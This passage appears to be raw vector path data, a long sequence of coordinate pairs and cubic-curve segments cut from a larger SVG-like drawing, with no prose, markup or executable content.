138149.00 32796.00C138170.67 32753.00 138192.33 32710.00 138214.00 32667.00C138214.00 32677.67 138214.00 32688.33 138214.00 32699.00C138214.00 32667.00 138214.00 32635.00 138214.00 32603.00C138224.67 32603.00 138235.33 32603.00 138246.00 32603.00C138256.67 32613.67 138267.33 32624.33 138278.00 32635.00C138278.00 32656.33 138278.00 32677.67 138278.00 32699.00C138288.67 32699.00 138299.33 32699.00 138310.00 32699.00C138310.00 32645.67 138310.00 32592.33 138310.00 32539.00C138320.67 32549.67 138331.33 32560.33 138342.00 32571.00C138342.00 32549.33 138342.00 32527.67 138342.00 32506.00C138385.00 32506.00 138428.00 32506.00 138471.00 32506.00C138471.00 32527.67 138471.00 32549.33 138471.00 32571.00C138449.67 32571.00 138428.33 32571.00 138407.00 32571.00C138407.00 32581.67 138407.00 32592.33 138407.00 32603.00C138417.67 32592.33 138428.33 32581.67 138439.00 32571.00C138449.67 32581.67 138460.33 32592.33 138471.00 32603.00C138471.00 32624.33 138471.00 32645.67 138471.00 32667.00C138481.67 32667.00 138492.33 32667.00 138503.00 32667.00C138503.00 32677.67 138503.00 32688.33 138503.00 32699.00C138481.67 32710.00 138460.33 32721.00 138439.00 32732.00C138439.00 32721.00 138439.00 32710.00 138439.00 32699.00C138406.67 32699.00 138374.33 32699.00 138342.00 32699.00C138374.33 32699.00 138406.67 32699.00 138439.00 32699.00C138439.00 32731.33 138439.00 32763.67 138439.00 32796.00C138428.33 32796.00 138417.67 32796.00 138407.00 32796.00C138396.00 32817.33 138385.00 32838.67 138374.00 32860.00C138385.14 32849.31 138396.10 32838.35 138407.36 32827.82C138428.57 32817.21 138449.79 32806.61 138471.00 32796.00C138481.67 32796.00 138492.33 32796.00 138503.00 32796.00C138503.00 32785.33 138503.00 32774.67 138503.00 32764.00C138503.00 32817.67 138503.00 32871.33 138503.00 32925.00C138471.00 32925.00 138439.00 32925.00 138407.00 32925.00C138385.33 32935.67 138363.67 32946.33 138342.00 32957.00C138352.67 32967.67 138363.33 32978.33 138374.00 32989.00C138352.67 33010.33 138331.33 33031.67 138310.00 33053.00C138331.33 33042.33 138352.67 33031.67 138374.00 33021.00C138374.00 33042.33 138374.00 33063.67 138374.00 33085.00C138385.00 33074.33 138396.00 33063.67 138407.00 33053.00C138396.00 33042.33 138385.00 33031.67 138374.00 33021.00C138385.00 32999.67 138396.00 32978.33 138407.00 32957.00C138428.33 32957.00 138449.67 32957.00 138471.00 32957.00C138471.00 32967.67 138471.00 32978.33 138471.00 32989.00C138481.67 32978.33 138492.33 32967.67 138503.00 32957.00C138524.33 32957.00 138545.67 32957.00 138567.00 32957.00C138556.33 32978.33 138545.67 32999.67 138535.00 33021.00C138535.00 33031.67 138535.00 33042.33 138535.00 33053.00C138545.67 33053.00 138556.33 33053.00 138567.00 33053.00C138556.33 33074.33 138545.67 33095.67 138535.00 33117.00C138535.00 33149.33 138535.00 33181.67 138535.00 33214.00C138524.33 33224.67 138513.67 33235.33 138503.00 33246.00C138513.67 33256.67 138524.33 33267.33 138535.00 33278.00C138524.33 33321.00 138513.67 33364.00 138503.00 33407.00C138513.67 33417.67 138524.33 33428.33 138535.00 33439.00C138545.67 33428.33 138556.33 33417.67 138567.00 33407.00C138578.00 33353.33 138589.00 33299.67 138600.00 33246.00C138600.00 33235.33 138600.00 33224.67 138600.00 33214.00C138642.67 33128.33 138685.33 33042.67 138728.00 32957.00C138738.67 32967.67 138749.33 32978.33 138760.00 32989.00C138749.33 32978.33 138738.67 32967.67 138728.00 32957.00C138749.33 32914.00 138770.67 32871.00 138792.00 32828.00C138803.00 32828.00 138814.00 32828.00 138825.00 32828.00C138825.00 32817.33 138825.00 32806.67 138825.00 32796.00C138846.33 32785.33 138867.67 32774.67 138889.00 32764.00C138867.67 32764.00 138846.33 32764.00 138825.00 32764.00C138825.00 32753.33 138825.00 32742.67 138825.00 32732.00C138857.00 32699.67 138889.00 32667.33 138921.00 32635.00C138931.67 32635.00 138942.33 32635.00 138953.00 32635.00C138931.67 32613.67 138910.33 32592.33 138889.00 32571.00C138899.67 32560.33 138910.33 32549.67 138921.00 32539.00C138953.00 32528.00 138985.00 32517.00 139017.00 32506.00C139006.33 32506.00 138995.67 32506.00 138985.00 32506.00C139006.67 32506.00 139028.33 32506.00 139050.00 32506.00C139039.00 32506.00 139028.00 32506.00 139017.00 32506.00C139028.00 32517.00 139039.00 32528.00 139050.00 32539.00C139060.67 32592.33 139071.33 32645.67 139082.00 32699.00C139071.33 32720.67 139060.67 32742.33 139050.00 32764.00C139050.00 32753.33 139050.00 32742.67 139050.00 32732.00C139050.00 32742.67 139050.00 32753.33 139050.00 32764.00C139028.33 32785.33 139006.67 32806.67 138985.00 32828.00C138985.00 32849.33 138985.00 32870.67 138985.00 32892.00C138942.33 32903.00 138899.67 32914.00 138857.00 32925.00C138857.00 32935.67 138857.00 32946.33 138857.00 32957.00C138814.00 32999.67 138771.00 33042.33 138728.00 33085.00C138728.00 33095.67 138728.00 33106.33 138728.00 33117.00C138717.33 33128.00 138706.67 33139.00 138696.00 33150.00C138717.33 33150.00 138738.67 33150.00 138760.00 33150.00C138749.33 33171.33 138738.67 33192.67 138728.00 33214.00C138717.33 33214.00 138706.67 33214.00 138696.00 33214.00C138696.00 33224.67 138696.00 33235.33 138696.00 33246.00C138717.33 33235.33 138738.67 33224.67 138760.00 33214.00C138760.00 33181.67 138760.00 33149.33 138760.00 33117.00C138781.67 33085.00 138803.33 33053.00 138825.00 33021.00C138846.33 33010.33 138867.67 32999.67 138889.00 32989.00C138899.67 32989.00 138910.33 32989.00 138921.00 32989.00C138931.67 32999.67 138942.33 33010.33 138953.00 33021.00C138953.00 33031.67 138953.00 33042.33 138953.00 33053.00C138942.33 33063.67 138931.67 33074.33 138921.00 33085.00C138910.33 33085.00 138899.67 33085.00 138889.00 33085.00C138878.33 33095.67 138867.67 33106.33 138857.00 33117.00C138867.67 33117.00 138878.33 33117.00 138889.00 33117.00C138889.00 33128.00 138889.00 33139.00 138889.00 33150.00C138867.67 33150.00 138846.33 33150.00 138825.00 33150.00C138825.00 33160.67 138825.00 33171.33 138825.00 33182.00C138846.33 33171.33 138867.67 33160.67 138889.00 33150.00C138908.30 33130.00 138927.68 33110.09 138947.45 33090.55C138949.30 33088.70 138951.15 33086.85 138953.00 33085.00C138953.00 33095.67 138953.00 33106.33 138953.00 33117.00C138931.67 33149.33 138910.33 33181.67 138889.00 33214.00C138910.33 33203.33 138931.67 33192.67 138953.00 33182.00C138942.33 33203.33 138931.67 33224.67 138921.00 33246.00C138878.00 33289.00 138835.00 33332.00 138792.00 33375.00C138770.67 33375.00 138749.33 33375.00 138728.00 33375.00C138749.33 33385.67 138770.67 33396.33 138792.00 33407.00C138792.00 33417.67 138792.00 33428.33 138792.00 33439.00C138760.00 33439.00 138728.00 33439.00 138696.00 33439.00C138717.33 33439.00 138738.67 33439.00 138760.00 33439.00C138749.33 33460.33 138738.67 33481.67 138728.00 33503.00C138738.67 33513.67 138749.33 33524.33 138760.00 33535.00C138760.00 33513.67 138760.00 33492.33 138760.00 33471.00C138770.67 33460.33 138781.33 33449.67 138792.00 33439.00C138792.00 33428.33 138792.00 33417.67 138792.00 33407.00C138803.00 33396.33 138814.00 33385.67 138825.00 33375.00C138857.00 33375.00 138889.00 33375.00 138921.00 33375.00C138953.00 33353.33 138985.00 33331.67 139017.00 33310.00C139017.00 33320.67 139017.00 33331.33 139017.00 33342.00C138985.00 33363.67 138953.00 33385.33 138921.00 33407.00C138921.00 33428.33 138921.00 33449.67 138921.00 33471.00C138931.72 33460.21 138942.60 33449.55 138953.22 33438.67C138974.48 33406.44 138995.74 33374.22 139017.00 33342.00C139017.00 33363.67 139017.00 33385.33 139017.00 33407.00C138963.67 33449.67 138910.33 33492.33 138857.00 33535.00C138857.00 33545.67 138857.00 33556.33 138857.00 33567.00C138899.67 33567.00 138942.33 33567.00 138985.00 33567.00C138965.70 33587.00 138946.32 33606.91 138926.55 33626.45C138924.70 33628.30 138922.85 33630.15 138921.00 33632.00C138931.67 33642.67 138942.33 33653.33 138953.00 33664.00C138953.00 33642.67 138953.00 33621.33 138953.00 33600.00C138963.67 33589.00 138974.33 33578.00 138985.00 33567.00C139006.67 33513.67 139028.33 33460.33 139050.00 33407.00C139060.67 33353.33 139071.33 33299.67 139082.00 33246.00C139082.00 33235.33 139082.00 33224.67 139082.00 33214.00C139103.33 33235.33 139124.67 33256.67 139146.00 33278.00C139156.67 33299.33 139167.33 33320.67 139178.00 33342.00C139167.26 33374.44 139156.65 33406.95 139145.82 33439.36C139135.21 33460.57 139124.61 33481.79 139114.00 33503.00C139135.33 33449.33 139156.67 33395.67 139178.00 33342.00C139156.67 33278.00 139135.33 33214.00 139114.00 33150.00C139135.33 33128.33 139156.67 33106.67 139178.00 33085.00C139199.67 33074.33 139221.33 33063.67 139243.00 33053.00C139253.67 33063.67 139264.33 33074.33 139275.00 33085.00C139275.00 33095.67 139275.00 33106.33 139275.00 33117.00C139285.67 33106.33 139296.33 33095.67 139307.00 33085.00C139296.33 33106.67 139285.67 33128.33 139275.00 33150.00C139264.33 33160.67 139253.67 33171.33 139243.00 33182.00C139232.00 33214.00 139221.00 33246.00 139210.00 33278.00C139210.00 33288.67 139210.00 33299.33 139210.00 33310.00C139231.67 33331.67 139253.33 33353.33 139275.00 33375.00C139239.33 33428.33 139203.67 33481.67 139168.00 33535.00C139171.33 33535.00 139174.67 33535.00 139178.00 33535.00C139178.00 33543.33 139178.00 33551.67 139178.00 33560.00C139188.67 33551.67 139199.33 33543.33 139210.00 33535.00C139210.00 33524.33 139210.00 33513.67 139210.00 33503.00C139231.67 33503.00 139253.33 33503.00 139275.00 33503.00C139264.33 33492.33 139253.67 33481.67 139243.00 33471.00C139253.67 33449.67 139264.33 33428.33 139275.00 33407.00C139285.67 33417.67 139296.33 33428.33 139307.00 33439.00C139296.33 33460.33 139285.67 33481.67 139275.00 33503.00C139285.67 33503.00 139296.33 33503.00 139307.00 33503.00C139317.67 33524.33 139328.33 33545.67 139339.00 33567.00C139307.00 33588.67 139275.00 33610.33 139243.00 33632.00C139221.33 33621.33 139199.67 33610.67 139178.00 33600.00C139178.00 33610.67 139178.00 33621.33 139178.00 33632.00C139188.67 33621.33 139199.33 33610.67 139210.00 33600.00C139231.67 33610.67 139253.33 33621.33 139275.00 33632.00C139296.33 33621.33 139317.67 33610.67 139339.00 33600.00C139339.00 33610.67 139339.00 33621.33 139339.00 33632.00C139349.67 33621.33 139360.33 33610.67 139371.00 33600.00C139360.33 33600.00 139349.67 33600.00 139339.00 33600.00C139328.33 33557.00 139317.67 33514.00 139307.00 33471.00C139328.33 33428.00 139349.67 33385.00 139371.00 33342.00C139381.67 33299.33 139392.33 33256.67 139403.00 33214.00C139403.00 33203.33 139403.00 33192.67 139403.00 33182.00C139413.67 33182.00 139424.33 33182.00 139435.00 33182.00C139435.00 33203.33 139435.00 33224.67 139435.00 33246.00C139456.67 33203.00 139478.33 33160.00 139500.00 33117.00C139500.00 33095.67 139500.00 33074.33 139500.00 33053.00C139510.67 33053.00 139521.33 33053.00 139532.00 33053.00C139532.00 33042.33 139532.00 33031.67 139532.00 33021.00C139553.33 32999.67 139574.67 32978.33 139596.00 32957.00C139574.67 32946.33 139553.33 32935.67 139532.00 32925.00C139575.00 32914.00 139618.00 32903.00 139661.00 32892.00C139693.00 32892.00 139725.00 32892.00 139757.00 32892.00C139776.30 32912.00 139795.68 32931.91 139815.45 32951.45C139817.20 32953.47 139819.72 32955.18 139821.00 32957.40C139821.00 32967.93 139821.00 32978.47 139821.00 32989.00C139810.33 32989.00 139799.67 32989.00 139789.00 32989.00C139778.33 33010.33 139767.67 33031.67 139757.00 33053.00C139757.00 33042.33 139757.00 33031.67 139757.00 33021.00C139757.00 33031.67 139757.00 33042.33 139757.00 33053.00C139746.33 33053.00 139735.67 33053.00 139725.00 33053.00C139725.00 33063.67 139725.00 33074.33 139725.00 33085.00C139703.67 33106.67 139682.33 33128.33 139661.00 33150.00C139650.00 33171.33 139639.00 33192.67 139628.00 33214.00C139617.33 33224.67 139606.67 33235.33 139596.00 33246.00C139596.00 33267.33 139596.00 33288.67 139596.00 33310.00C139585.33 33310.00 139574.67 33310.00 139564.00 33310.00C139574.67 33331.67 139585.33 33353.33 139596.00 33375.00C139574.67 33396.33 139553.33 33417.67 139532.00 33439.00C139521.33 33439.00 139510.67 33439.00 139500.00 33439.00C139510.67 33439.00 139521.33 33439.00 139532.00 33439.00C139542.67 33428.33 139553.33 33417.67 139564.00 33407.00C139585.33 33407.00 139606.67 33407.00 139628.00 33407.00C139639.00 33439.00 139650.00 33471.00 139661.00 33503.00C139682.33 33535.33 139703.67 33567.67 139725.00 33600.00C139725.00 33621.33 139725.00 33642.67 139725.00 33664.00C139714.33 33685.33 139703.67 33706.67 139693.00 33728.00C139703.67 33749.67 139714.33 33771.33 139725.00 33793.00C139692.67 33793.00 139660.33 33793.00 139628.00 33793.00C139617.28 33814.60 139606.29 33836.08 139595.75 33857.75C139585.17 33889.50 139574.58 33921.25 139564.00 33953.00C139574.67 33964.00 139585.33 33975.00 139596.00 33986.00C139596.00 33975.00 139596.00 33964.00 139596.00 33953.00C139606.67 33931.67 139617.33 33910.33 139628.00 33889.00C139628.00 33867.67 139628.00 33846.33 139628.00 33825.00C139649.67 33825.00 139671.33 33825.00 139693.00 33825.00C139703.67 33814.33 139714.33 33803.67 139725.00 33793.00C139735.67 33803.67 139746.33 33814.33 139757.00 33825.00C139757.00 33857.00 139757.00 33889.00 139757.00 33921.00C139778.33 33931.67 139799.67 33942.33 139821.00 33953.00C139778.33 33974.67 139735.67 33996.33 139693.00 34018.00C139682.33 34028.67 139671.67 34039.33 139661.00 34050.00C139650.00 34050.00 139639.00 34050.00 139628.00 34050.00C139628.00 34071.33 139628.00 34092.67 139628.00 34114.00C139606.67 34114.00 139585.33 34114.00 139564.00 34114.00C139553.33 34124.67 139542.67 34135.33 139532.00 34146.00C139510.67 34124.67 139489.33 34103.33 139468.00 34082.00C139478.67 34082.00 139489.33 34082.00 139500.00 34082.00C139489.33 34092.67 139478.67 34103.33 139468.00 34114.00C139478.67 34114.00 139489.33 34114.00 139500.00 34114.00C139510.67 34124.67 139521.33 34135.33 139532.00 34146.00C139542.67 34135.33 139553.33 34124.67 139564.00 34114.00C139585.33 34114.00 139606.67 34114.00 139628.00 34114.00C139648.00 34094.70 139667.91 34075.32 139687.45 34055.55C139699.97 34043.03 139712.48 34030.52 139725.00 34018.00C139757.00 34007.33 139789.00 33996.67 139821.00 33986.00C139831.67 33975.00 139842.33 33964.00 139853.00 33953.00C139831.67 33931.67 139810.33 33910.33 139789.00 33889.00C139789.00 33878.33 139789.00 33867.67 139789.00 33857.00C139810.33 33835.67 139831.67 33814.33 139853.00 33793.00C139842.33 33771.33 139831.67 33749.67 139821.00 33728.00C139821.00 33749.67 139821.00 33771.33 139821.00 33793.00C139810.33 33803.67 139799.67 33814.33 139789.00 33825.00C139789.00 33814.33 139789.00 33803.67 139789.00 33793.00C139778.33 33782.00 139767.67 33771.00 139757.00 33760.00C139757.00 33738.67 139757.00 33717.33 139757.00 33696.00C139767.67 33706.67 139778.33 33717.33 139789.00 33728.00C139799.67 33728.00 139810.33 33728.00 139821.00 33728.00C139810.33 33717.33 139799.67 33706.67 139789.00 33696.00C139789.00 33664.00 139789.00 33632.00 139789.00 33600.00C139832.00 33567.67 139875.00 33535.33 139918.00 33503.00C139928.67 33535.33 139939.33 33567.67 139950.00 33600.00C139950.00 33589.00 139950.00 33578.00 139950.00 33567.00C139971.33 33535.00 139992.67 33503.00 140014.00 33471.00C140003.33 33471.00 139992.67 33471.00 139982.00 33471.00C139982.00 33481.67 139982.00 33492.33 139982.00 33503.00C139971.33 33503.00 139960.67 33503.00 139950.00 33503.00C139950.00 33492.33 139950.00 33481.67 139950.00 33471.00C139971.33 33471.00 139992.67 33471.00 140014.00 33471.00C140014.00 33364.00 140014.00 33257.00 140014.00 33150.00C140024.67 33117.67 140035.33 33085.33 140046.00 33053.00C140046.00 33031.67 140046.00 33010.33 140046.00 32989.00C140057.00 32967.67 140068.00 32946.33 140079.00 32925.00C140089.67 32935.67 140100.33 32946.33 140111.00 32957.00C140111.00 32935.33 140111.00 32913.67 140111.00 32892.00C140089.33 32892.00 140067.67 32892.00 140046.00 32892.00C140066.00 32872.70 140085.91 32853.32 140105.45 32833.55C140107.30 32831.70 140109.15 32829.85 140111.00 32828.00C140121.67 32849.33 140132.33 32870.67 140143.00 32892.00C140153.67 32892.00 140164.33 32892.00 140175.00 32892.00C140175.00 32967.00 140175.00 33042.00 140175.00 33117.00C140164.33 33128.00 140153.67 33139.00 140143.00 33150.00C140143.00 33139.00 140143.00 33128.00 140143.00 33117.00C140121.67 33149.33 140100.33 33181.67 140079.00 33214.00C140068.00 33256.67 140057.00 33299.33 140046.00 33342.00C140046.00 33363.67 140046.00 33385.33 140046.00 33407.00C140057.00 33407.00 140068.00 33407.00 140079.00 33407.00C140079.00 33449.67 140079.00 33492.33 140079.00 33535.00C140057.33 33556.67 140035.67 33578.33 140014.00 33600.00C140014.00 33675.00 140014.00 33750.00 140014.00 33825.00C140003.33 33814.33 139992.67 33803.67 139982.00 33793.00C139992.67 33825.00 140003.33 33857.00 140014.00 33889.00C140024.67 33889.00 140035.33 33889.00 140046.00 33889.00C140046.00 33857.00 140046.00 33825.00 140046.00 33793.00C140046.00 33803.67 140046.00 33814.33 140046.00 33825.00C140057.00 33835.67 140068.00 33846.33 140079.00 33857.00C140068.00 33878.33 140057.00 33899.67 140046.00 33921.00C140046.00 33942.67 140046.00 33964.33 140046.00 33986.00C140024.67 33996.67 140003.33 34007.33 139982.00 34018.00C139992.67 34028.67 140003.33 34039.33 140014.00 34050.00C139982.00 34050.00 139950.00 34050.00 139918.00 34050.00C139928.67 34050.00 139939.33 34050.00 139950.00 34050.00C139950.00 34040.67 139950.00 34031.33 139950.00 34022.00C139875.00 34031.33 139800.00 34040.67 139725.00 34050.00C139725.00 34039.33 139725.00 34028.67 139725.00 34018.00C139714.33 34071.33 139703.67 34124.67 139693.00 34178.00C139671.33 34199.67 139649.67 34221.33 139628.00 34243.00C139617.33 34264.33 139606.67 34285.67 139596.00 34307.00C139606.67 34285.67 139617.33 34264.33 139628.00 34243.00C139649.67 34232.33 139671.33 34221.67 139693.00 34211.00C139703.67 34200.00 139714.33 34189.00 139725.00 34178.00C139735.67 34189.00 139746.33 34200.00 139757.00 34211.00C139767.67 34211.00 139778.33 34211.00 139789.00 34211.00C139767.67 34189.33 139746.33 34167.67 139725.00 34146.00C139725.00 34135.33 139725.00 34124.67 139725.00 34114.00C139735.67 34103.33 139746.33 34092.67 139757.00 34082.00C139789.00 34082.00 139821.00 34082.00 139853.00 34082.00C139842.33 34092.67 139831.67 34103.33 139821.00 34114.00C139842.67 34103.33 139864.33 34092.67 139886.00 34082.00C139928.67 34082.00 139971.33 34082.00 140014.00 34082.00C140024.72 34071.21 140035.60 34060.54 140046.22 34049.67C140067.81 34017.45 140089.41 33985.22 140111.00 33953.00C140111.00 33921.00 140111.00 33889.00 140111.00 33857.00C140100.33 33835.67 140089.67 33814.33 140079.00 33793.00C140089.67 33739.33 140100.33 33685.67 140111.00 33632.00C140121.67 33621.33 140132.33 33610.67 140143.00 33600.00C140175.00 33589.00 140207.00 33578.00 140239.00 33567.00C140239.00 33578.00 140239.00 33589.00 140239.00 33600.00C140239.00 33589.00 140239.00 33578.00 140239.00 33567.00C140249.67 33556.33 140260.33 33545.67 140271.00 33535.00C140282.00 33545.67 140293.00 33556.33 140304.00 33567.00C140293.00 33578.00 140282.00 33589.00 140271.00 33600.00C140282.00 33610.67 140293.00 33621.33 140304.00 33632.00C140282.33 33664.00 140260.67 33696.00 140239.00 33728.00C140228.33 33728.00 140217.67 33728.00 140207.00 33728.00C140196.33 33738.67 140185.67 33749.33 140175.00 33760.00C140164.33 33760.00 140153.67 33760.00 140143.00 33760.00C140153.67 33760.00 140164.33 33760.00 140175.00 33760.00C140185.67 33749.33 140196.33 33738.67 140207.00 33728.00C140217.67 33728.00 140228.33 33728.00 140239.00 33728.00C140239.00 33781.67 140239.00 33835.33 140239.00 33889.00C140228.33 33899.67 140217.67 33910.33 140207.00 33921.00C140196.33 33921.00 140185.67 33921.00 140175.00 33921.00C140164.33 33931.67 140153.67 33942.33 140143.00 33953.00C140153.67 33953.00 140164.33 33953.00 140175.00 33953.00C140175.00 33942.33 140175.00 33931.67 140175.00 33921.00C140185.67 33931.67 140196.33 33942.33 140207.00 33953.00C140217.67 33931.67 140228.33 33910.33 140239.00 33889.00C140249.67 33899.67 140260.33 33910.33 140271.00 33921.00C140271.00 33931.67 140271.00 33942.33 140271.00 33953.00C140282.00 33964.00 140293.00 33975.00 140304.00 33986.00C140293.00 33975.00 140282.00 33964.00 140271.00 33953.00C140271.00 33942.33 140271.00 33931.67 140271.00 33921.00C140260.33 33910.33 140249.67 33899.67 140239.00 33889.00C140249.67 33878.33 140260.33 33867.67 140271.00 33857.00C140260.33 33835.67 140249.67 33814.33 140239.00 33793.00C140249.85 33771.13 140260.44 33749.12 140271.45 33727.34C140292.96 33695.56 140314.48 33663.78 140336.00 33632.00C140357.33 33621.33 140378.67 33610.67 140400.00 33600.00C140400.00 33610.67 140400.00 33621.33 140400.00 33632.00C140389.33 33642.67 140378.67 33653.33 140368.00 33664.00C140411.00 33631.67 140454.00 33599.33 140497.00 33567.00C140507.67 33567.00 140518.33 33567.00 140529.00 33567.00C140518.33 33610.00 140507.67 33653.00 140497.00 33696.00C140475.33 33685.33 140453.67 33674.67 140432.00 33664.00C140421.33 33674.67 140410.67 33685.33 140400.00 33696.00C140410.67 33696.00 140421.33 33696.00 140432.00 33696.00C140442.67 33706.67 140453.33 33717.33 140464.00 33728.00C140464.00 33738.67 140464.00 33749.33 140464.00 33760.00C140442.67 33771.00 140421.33 33782.00 140400.00 33793.00C140400.00 33803.67 140400.00 33814.33 140400.00 33825.00C140389.33 33846.33 140378.67 33867.67 140368.00 33889.00C140346.67 33889.00 140325.33 33889.00 140304.00 33889.00C140304.00 33899.67 140304.00 33910.33 140304.00 33921.00C140314.67 33910.33 140325.33 33899.67 140336.00 33889.00C140357.33 33889.00 140378.67 33889.00 140400.00 33889.00C140410.67 33857.00 140421.33 33825.00 140432.00 33793.00C140453.67 33782.00 140475.33 33771.00 140497.00 33760.00C140497.00 33781.67 140497.00 33803.33 140497.00 33825.00C140507.67 33825.00 140518.33 33825.00 140529.00 33825.00C140509.48 33844.63 140489.84 33864.15 140469.86 33883.32C140467.91 33885.21 140465.95 33887.11 140464.00 33889.00C140453.33 33878.33 140442.67 33867.67 140432.00 33857.00C140410.67 33867.67 140389.33 33878.33 140368.00 33889.00C140368.00 33910.33 140368.00 33931.67 140368.00 33953.00C140378.67 33964.00 140389.33 33975.00 140400.00 33986.00C140389.33 33996.67 140378.67 34007.33 140368.00 34018.00C140357.33 34050.00 140346.67 34082.00 140336.00 34114.00C140346.67 34092.67 140357.33 34071.33 140368.00 34050.00C140389.33 34028.67 140410.67 34007.33 140432.00 33986.00C140421.33 33964.33 140410.67 33942.67 140400.00 33921.00C140400.00 33910.33 140400.00 33899.67 140400.00 33889.00C140410.67 33889.00 140421.33 33889.00 140432.00 33889.00C140442.67 33899.67 140453.33 33910.33 140464.00 33921.00C140475.00 33921.00 140486.00 33921.00 140497.00 33921.00C140518.33 33899.67 140539.67 33878.33 140561.00 33857.00C140561.00 33835.67 140561.00 33814.33 140561.00 33793.00C140571.67 33771.33 140582.33 33749.67 140593.00 33728.00C140614.33 33717.33 140635.67 33706.67 140657.00 33696.00C140646.33 33717.33 140635.67 33738.67 140625.00 33760.00C140625.00 33781.67 140625.00 33803.33 140625.00 33825.00C140603.67 33867.67 140582.33 33910.33 140561.00 33953.00C140550.33 33964.00 140539.67 33975.00 140529.00 33986.00C140548.30 33966.00 140567.68 33946.09 140587.45 33926.55C140589.30 33924.70 140591.15 33922.85 140593.00 33921.00C140593.00 33942.67 140593.00 33964.33 140593.00 33986.00C140582.33 33996.67 140571.67 34007.33 140561.00 34018.00C140561.00 34028.67 140561.00 34039.33 140561.00 34050.00C140528.67 34060.67 140496.33 34071.33 140464.00 34082.00C140496.33 34082.00 140528.67 34082.00 140561.00 34082.00C140571.67 34060.67 140582.33 34039.33 140593.00 34018.00C140593.00 34028.67 140593.00 34039.33 140593.00 34050.00C140603.67 34071.33 140614.33 34092.67 140625.00 34114.00C140593.00 34157.00 140561.00 34200.00 140529.00 34243.00C140539.67 34253.67 140550.33 34264.33 140561.00 34275.00C140561.00 34264.33 140561.00 34253.67 140561.00 34243.00C140571.67 34232.33 140582.33 34221.67 140593.00 34211.00C140603.67 34211.00 140614.33 34211.00 140625.00 34211.00C140646.33 34200.00 140667.67 34189.00 140689.00 34178.00C140678.33 34178.00 140667.67 34178.00 140657.00 34178.00C140678.67 34135.33 140700.33 34092.67 140722.00 34050.00C140732.67 34039.33 140743.33 34028.67 140754.00 34018.00C140754.00 34028.67 140754.00 34039.33 140754.00 34050.00C140775.33 34028.67 140796.67 34007.33 140818.00 33986.00C140818.00 33975.00 140818.00 33964.00 140818.00 33953.00C140807.19 33964.02 140796.59 33975.33 140785.64 33986.18C140764.43 33996.79 140743.21 34007.39 140722.00 34018.00C140722.00 34007.33 140722.00 33996.67 140722.00 33986.00C140743.33 33964.33 140764.67 33942.67 140786.00 33921.00C140796.67 33931.67 140807.33 33942.33 140818.00 33953.00C140818.00 33910.33 140818.00 33867.67 140818.00 33825.00C140850.33 33825.00 140882.67 33825.00 140915.00 33825.00C140915.00 33814.33 140915.00 33803.67 140915.00 33793.00C140925.67 33793.00 140936.33 33793.00 140947.00 33793.00C140947.00 33782.00 140947.00 33771.00 140947.00 33760.00C140936.33 33760.00 140925.67 33760.00 140915.00 33760.00C140925.67 33749.33 140936.33 33738.67 140947.00 33728.00C140989.67 33717.33 141032.33 33706.67 141075.00 33696.00C141096.67 33728.33 141118.33 33760.67 141140.00 33793.00C141128.92 33825.11 141117.98 33857.28 141106.82 33889.36C141096.21 33910.57 141085.61 33931.79 141075.00 33953.00C141064.33 33964.00 141053.67 33975.00 141043.00 33986.00C141021.67 33953.67 141000.33 33921.33 140979.00 33889.00C140989.67 33910.33 141000.33 33931.67 141011.00 33953.00C141011.00 33964.00 141011.00 33975.00 141011.00 33986.00C141000.33 33986.00 140989.67 33986.00 140979.00 33986.00C140979.00 33996.67 140979.00 34007.33 140979.00 34018.00C140957.67 34028.67 140936.33 34039.33 140915.00 34050.00C140915.00 34028.67 140915.00 34007.33 140915.00 33986.00C140915.00 34007.33 140915.00 34028.67 140915.00 34050.00C140904.00 34050.00 140893.00 34050.00 140882.00 34050.00C140860.67 34060.67 140839.33 34071.33 140818.00 34082.00C140818.00 34114.00 140818.00 34146.00 140818.00 34178.00C140796.67 34221.00 140775.33 34264.00 140754.00 34307.00C140764.67 34317.67 140775.33 34328.33 140786.00 34339.00C140786.00 34360.33 140786.00 34381.67 140786.00 34403.00C140775.33 34403.00 140764.67 34403.00 140754.00 34403.00C140743.33 34392.33 140732.67 34381.67 140722.00 34371.00C140743.33 34403.33 140764.67 34435.67 140786.00 34468.00C140786.00 34478.67 140786.00 34489.33 140786.00 34500.00C140764.67 34532.00 140743.33 34564.00 140722.00 34596.00C140743.33 34596.00 140764.67 34596.00 140786.00 34596.00C140796.67 34617.67 140807.33 34639.33 140818.00 34661.00C140807.33 34682.33 140796.67 34703.67 140786.00 34725.00C140796.67 34714.33 140807.33 34703.67 140818.00 34693.00C140839.33 34693.00 140860.67 34693.00 140882.00 34693.00C140882.00 34725.00 140882.00 34757.00 140882.00 34789.00C140871.33 34810.67 140860.67 34832.33 140850.00 34854.00C140828.67 34843.33 140807.33 34832.67 140786.00 34822.00C140775.33 34843.33 140764.67 34864.67 140754.00 34886.00C140743.33 34875.33 140732.67 34864.67 140722.00 34854.00C140732.67 34864.67 140743.33 34875.33 140754.00 34886.00C140754.00 34896.67 140754.00 34907.33 140754.00 34918.00C140754.00 34907.33 140754.00 34896.67 140754.00 34886.00C140764.67 34875.33 140775.33 34864.67 140786.00 34854.00C140829.00 34875.33 140872.00 34896.67 140915.00 34918.00C140915.00 34907.33 140915.00 34896.67 140915.00 34886.00C140904.00 34886.00 140893.00 34886.00 140882.00 34886.00C140893.00 34864.67 140904.00 34843.33 140915.00 34822.00C140915.00 34789.67 140915.00 34757.33 140915.00 34725.00C140893.33 34693.00 140871.67 34661.00 140850.00 34629.00C140850.00 34618.00 140850.00 34607.00 140850.00 34596.00C140871.67 34574.67 140893.33 34553.33 140915.00 34532.00C140915.00 34510.67 140915.00 34489.33 140915.00 34468.00C140947.00 34425.00 140979.00 34382.00 141011.00 34339.00C141021.67 34339.00 141032.33 34339.00 141043.00 34339.00C141043.00 34328.33 141043.00 34317.67 141043.00 34307.00C141053.67 34317.67 141064.33 34328.33 141075.00 34339.00C141064.33 34360.33 141053.67 34381.67 141043.00 34403.00C141043.00 34435.33 141043.00 34467.67 141043.00 34500.00C141032.33 34510.67 141021.67 34521.33 141011.00 34532.00C141021.69 34542.81 141032.66 34553.42 141043.18 34564.36C141053.78 34585.90 141064.39 34607.45 141075.00 34629.00C141085.67 34639.67 141096.33 34650.33 141107.00 34661.00C141075.00 34618.00 141043.00 34575.00 141011.00 34532.00C141032.33 34521.33 141053.67 34510.67 141075.00 34500.00C141075.00 34478.67 141075.00 34457.33 141075.00 34436.00C141085.67 34425.00 141096.33 34414.00 141107.00 34403.00C141118.00 34414.00 141129.00 34425.00 141140.00 34436.00C141140.00 34446.67 141140.00 34457.33 141140.00 34468.00C141129.00 34468.00 141118.00 34468.00 